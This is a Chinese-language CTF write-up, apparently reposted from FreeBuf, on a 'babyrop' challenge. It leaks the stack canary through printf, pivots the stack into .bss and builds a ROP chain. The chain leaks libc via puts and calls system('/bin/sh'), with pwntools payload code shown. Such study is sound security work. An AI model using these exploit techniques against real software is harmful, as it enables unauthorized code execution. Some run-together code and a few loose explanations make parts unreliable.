ROP和栈迁移的探究
2021-12-16 11:05:29 Author: www.freebuf.com(查看原文) 阅读量:34 收藏

前言

ROP是一种技巧,我们对execve函数进行拼凑来进行system /bin/sh。栈迁移的特征是溢出0x10个字符,在本次getshell中,还碰到了如何利用printf函数来进行canary的泄露。

ROP+栈迁移

目标:

ROP chain

首先我们:ROPgadget --binary babyrop

bss段地址:readelf -S babyrop

找到rdi的地址:

我们用ida查看反汇编,圈中的是出错情况下的处置,我们暂时可以忽略。

我们看到for循环可以输入25个字符,我们先输入0x18个字符,也就是24个字符,然后如果在输入一个字符就可以看到printf函数后面跟着一个%s,且printf函数结束的标志是碰到\x00,并且canary的的末尾标志也是\x00。

小端存储,我们首先用24个字符a对其他字符空间进行填充,然后用字符'y'把canary中的\x00进行覆盖,这样我们就在y这个点时进行recv,之后就可以泄露canary的内容。

具体是这样的:

canary=u64(io.recv(7).rjust(8,'\x00'))

然后再用\x00对其进行填充:

此题的第二个坑点是在password这里,可以看到这里使用scanf函数来进行接受,所以我们只能填写地址。

可以看到这个地址存储password:

我们进入vuln函数进行查看:

发现是可以多读0x10个字符的,这就是典型的栈迁移了:

gdb.attach(io)io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))gdb.attach(io)io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))gdb.attach(io

我们在这里下三个断点:

第一个attach代表的是没有迁移之前的,

可以看到RBP和RSP的情况,

可以看到现在的RBP已经变为0x601928。

这里插入一下POP的汇编形式

mov esp,ebpadd $8,esp

首先我们把ebp的值给esp,然后ebp+8,因为这里是64位程序。

这里我们再看下一个attach:

可以看到新栈已经建立成功了。

然后就是经典的rop了,寻找libc基址:

io.send(p64(canary)+p64(0x601940)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))#p64(0x601940) is fill bytelibc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-libc.sym['puts']system=libc_base+libc.sym['system']hh=libc_base+libc.search('/bin/sh').next()

最后我们开始写利用新栈:

system bin/sh

可以看到我们就拿到shell了。

一点解释

栈迁移需要注意的点就是:

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))

假如我们栈空间提升0x10:

我们需要先把buf的内容填充,然后就到了rsp,pop 指令的意思是把rsp地址的内容给rip。

可以看到此时栈的情况是这样的:

0x40072e是ret的地址:

0x0000000000400744是返回地址:

0xcd95d1462e82fe00是canary的值;

0x601950是填充字;

0x400913是rdi的值,也就是exec函数的的第一个参数。

现在的栈空间是这样的:

然后就开始rop,

如果我们直接提升0x20的空间就不会有这种事情了,我们就可以直接rdi+rop:

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e)) io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e)) io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))

但是这个rbp和rsp的空间是要试着找的,如果bss段有不能覆盖的地址,就会报错。

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))

这样也能够getshell。

另一点解释

call [email protected]之前栈中的情况:

我们s步入,可以发现rbp和rsp的值已经改变了:

0x601930:  0x0000000000400744  0x00000000000000000x601940:  0x0000000000000000  0x00000000000000000x601950:  0x0000000000000000  0x00000000000000000x0000000000400744是执行完read函数要去的地方,也就是nop(这个是无所谓的)

可以看到在pop 和ret之前rbp和rsp栈空间又发生了改变,而且此时rip指向了rdi的地址:

红色框是栈空间的大小,可以看到此时存放的两个地址的意义是:

p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))组成了rop。

下一步我们执行pop+ret就跳到了rdi所指在的地方,然后利用rop进行system /bin/sh。


文章来源: https://www.freebuf.com/vuls/311929.html
如有侵权请联系:admin#unsafe.sh